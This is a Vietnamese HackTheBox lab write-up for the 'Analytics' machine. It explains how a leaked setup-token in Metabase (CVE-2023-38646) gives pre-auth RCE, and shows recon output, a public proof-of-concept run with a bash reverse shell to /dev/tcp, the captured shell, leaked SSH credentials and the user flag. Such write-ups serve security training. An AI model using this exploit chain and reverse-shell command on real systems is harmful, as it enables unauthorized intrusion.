+3

[Write-up] Hackthebox: Analytics. Chỉ thiếu 1 dòng code cũng trở nên nguy hiểm

Giới thiệu

Tưởng chừng như việc nâng cấp code sẽ mang lại cho ứng dụng web thêm tiện ích hay bảo mật. Nhưng không đối với Request-Baskets khi mà trong khi nâng cấp code anh dev đã xoá đi 1 dòng code quan trọng, dẫn đến việc hệ thống bị RCE.

1. Recon

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.233
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-18 22:06 EST
Nmap scan report for 10.10.11.233
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds

Thêm dòng sau vào file /etc/hosts

10.10.11.233    analytical.htb

image.png

Truy cập vào trang web

Ở đây có 1 subdomain khi truy cập vào login là: data.analytical.htb

Chỉnh sửa file /etc/hosts

10.10.11.233    data.analytical.htb

Tiếp tục truy cập

image.png

Metabase là một công cụ thông minh kinh doanh nguồn mở cho phép bạn tạo biểu đồ và trang tổng quan bằng cách sử dụng dữ liệu từ nhiều cơ sở dữ liệu và nguồn dữ liệu khác nhau

2.Enum

Thực hiện directory scan đối với analytical.htb và data.analytical.htb

┌──(kali㉿kali)-[~]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://analytical.htb/FUZZ               

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://analytical.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 17169, Words: 4391, Lines: 365, Duration: 106ms]
images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 401ms]
css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 117ms]
js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 92ms]

Không có gì đặc biệt cả

3. Exploit

Khi truy cập vào subdomain: data.analytical.htb

image.png

Kiểm tra trên burpsuite, thì data.analytical.htb nó sẽ gọi đến /api/session/properties

image.png

Trên /api/session/properties có lộ 1 setup-token mà chúng ta không cần phải đăng nhập cũng có thể đọc được

image.png

Dưới đây là quá trình setup Metabase

image.png

Nhưng khi mà trong 1 lần có thể là nâng cấp code của ứng dụng, dev đã xoá đi phần quan trọng nhất là (setup/clear-token!)

Đây là bản code trước khi nâng cấp

image.png

Còn đây là sau khi nâng cấp:

image.png

Cái dòng setup/clear-token! hoàn toàn bị xoá đi. Các bạn có thể xem phần so sánh ở đây

Như vậy luồng hoạt động của nó sau khi sửa code sẽ là như sau:

image.png

Bước xoá setup-token đã bị bỏ đi

Sau khi research ứng dụng Metabase này dính 1 CVE-2023-38646, để tóm tắt nó sẽ được thực hiện như sau:

  • Có được setup-token ở trên /api/session/properties như ta đã giải thích ở trên
  • Biết được 1 API có sử dụng token trên để xác thực kết nối DB
  • Biết được 1 lỗ hổng SQL Injection tồn tại trên H2 db driver
  • Ta có thể RCE thông qua lỗ hổng SQL Injection

Thực hiện tìm kiếm mã khai thác:

https://github.com/m3m0o/metabase-pre-auth-rce-poc/blob/main/main.py

Chạy mã khai thác:

┌──(kali㉿kali)-[~]
└─$ python3 cveMetaBase.py -u http://data.analytical.htb -t 249fa03d-fd94-4d5b-b94f-b4ebf3df681f -c "/bin/bash -i >& /dev/tcp/10.10.16.10/8888 0>&1"
[!] BE SURE TO BE LISTENING ON THE PORT YOU DEFINED IF YOU ARE ISSUING AN COMMAND TO GET REVERSE SHELL [!]

[+] Initialized script
[+] Encoding command
[+] Making request
[+] Payload sent

Lắng nghe và truy cập được vào

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888                                                                                                  
listening on [any] 8888 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.233] 40850
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
3051021b417f:/$ whoami
whoami
metabase
3051021b417f:/$

Nhưng không có ở flag ở trong thư mục home

Tìm kiếm trên file /etc/proc/environ có thông tin đăng nhập ssh của người dùng metalytics với mật khẩu là An4lytics_ds20223#, truy cập và có được flag user

metalytics@analytics:~$ ls
1  l  m  u  user.txt  w
metalytics@analytics:~$ cat user.txt 
b4ef54038d9d7971c025c51b76be2cc8
metalytics@analytics:~$

4. Recomendation

  • Thực hiện nâng cấp metabase lên phiên bản mới nhất

5. Reference

[1]. Giải thích về rce metabase https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

[2]. Poc: https://github.com/m3m0o/metabase-pre-auth-rce-poc


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí